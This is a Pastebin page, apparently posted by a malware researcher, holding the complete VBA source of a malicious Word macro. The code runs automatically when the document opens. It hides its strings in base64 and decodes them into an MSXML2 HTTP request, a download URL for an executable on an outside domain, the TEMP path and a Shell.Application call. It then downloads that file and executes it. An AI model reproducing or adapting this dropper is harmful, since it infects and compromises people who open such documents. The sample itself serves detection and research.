Advertisement
dynamoo

Malicious Word macro

Jan 30th, 2015
635
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Const DYAVRU2O7CQK = "XGlIR2RzZi5leGU="
  10. Private Const u4UPbupdHqn = "VEVNUA=="
  11. Private Const JGYEERm = "aHR0cDovL3N0eWxpc2hzZXljaGVsbGVzLmNvbS9qcy9iaW4uZXhl"
  12. Private Const WbqiAH = DYAVRU2O7CQK
  13. Private Const aXpVWjFOR = u4UPbupdHqn
  14. Private Const UUMbhwG = "U2hlbGwuQXBwbGljYXRpb24="
  15. Private Const s1tNlT1AWf = ""
  16. Private Const FTKZS = "R0VU"
  17. Private Const jSr7Aw = "TVNYTUwyLlhNTEhUVFA="
  18. Private Const LZKV = ""
  19. Private Const JLR = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  20.  
  21. Sub iwpHOuE6r()
  22.  nJFIm
  23. End Sub
  24. Sub eODC7ApCVQ()
  25.      iwpHOuE6r
  26. End Sub
  27. Sub autoopen()
  28.      iwpHOuE6r
  29. End Sub
  30. Function JyXsorj(ByVal sdfwefwef As String, ByVal pNJKBjkdsf As String) As Boolean
  31.     Dim hUIGGYdfg As Object, i As Long, GYUbjsdf As Long, hjjjjjb() As Byte
  32.      
  33.  
  34.     Set hUIGGYdfg = CreateObject(NsCj(jSr7Aw))
  35.     hUIGGYdfg.Open NsCj(FTKZS), sdfwefwef, False
  36.     hUIGGYdfg.Send
  37.  
  38. hjjjjjb = hUIGGYdfg.responseBody
  39.  
  40.     GYUbjsdf = FreeFile
  41.     Open pNJKBjkdsf For Binary Access Write As #GYUbjsdf
  42.     Put #GYUbjsdf, , hjjjjjb
  43.     Close #GYUbjsdf
  44.  
  45.     Set hUIGGYdfg = Nothing
  46.  
  47. Set sdfsdfsd = CreateObject(NsCj(UUMbhwG))
  48. sdfsdfsd.Open Environ(NsCj(aXpVWjFOR)) & NsCj(WbqiAH)
  49.     End Function
  50. Sub nJFIm()
  51. FFewr43 = NsCj(JGYEERm)
  52.      JyXsorj FFewr43, Environ(NsCj(aXpVWjFOR)) & NsCj(WbqiAH)
  53.  
  54. End Sub
  55. Public Function NsCj(strInput As String) As String
  56.  
  57. On Error Resume Next
  58. On Local Error Resume Next
  59. Dim arrChars64() As Byte
  60. Dim arrChars64Rev() As Byte
  61. Dim arrInput() As Byte
  62. Dim arrOutput() As Byte
  63. Dim arrChar(4) As Integer
  64. Dim intLen As Long
  65. Dim intDelta As Long
  66. Dim i As Long
  67. Dim j As Long
  68. Const Base64 = JLR
  69. arrChars64() = StrConv(Base64, vbFromUnicode)
  70. ReDim arrChars64Rev(255)
  71. For i = 0 To UBound(arrChars64)
  72. arrChars64Rev(arrChars64(i)) = i
  73. Next i
  74. intLen = Len(strInput)
  75. If intLen = 0 Then Exit Function
  76. intDelta = intLen Mod 4
  77. If intDelta > 0 Then
  78. strInput = strInput + String$(4 - intDelta, 0)
  79. intLen = Len(strInput)
  80. End If
  81. arrInput() = StrConv(strInput, vbFromUnicode)
  82. ReDim arrOutput(((intLen + 1) / 4) * 3)
  83. For i = 0 To UBound(arrInput) Step 4
  84. arrChar(1) = arrChars64Rev(arrInput(i))
  85. arrChar(2) = arrChars64Rev(arrInput(i + 1))
  86. arrChar(3) = arrChars64Rev(arrInput(i + 2))
  87. arrChar(4) = arrChars64Rev(arrInput(i + 3))
  88. arrOutput(j) = ((arrChar(1) * 4 + Int(arrChar(2) / 16)) And 255)
  89. j = j + 1
  90. arrOutput(j) = ((arrChar(2) * 16 + Int(arrChar(3) / 4)) And 255)
  91. j = j + 1
  92. arrOutput(j) = ((arrChar(3) * 64 + arrChar(4)) And 255)
  93. j = j + 1
  94. Next
  95.  NsCj = Replace(StrConv(arrOutput, vbUnicode), vbNullChar, "")
  96. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement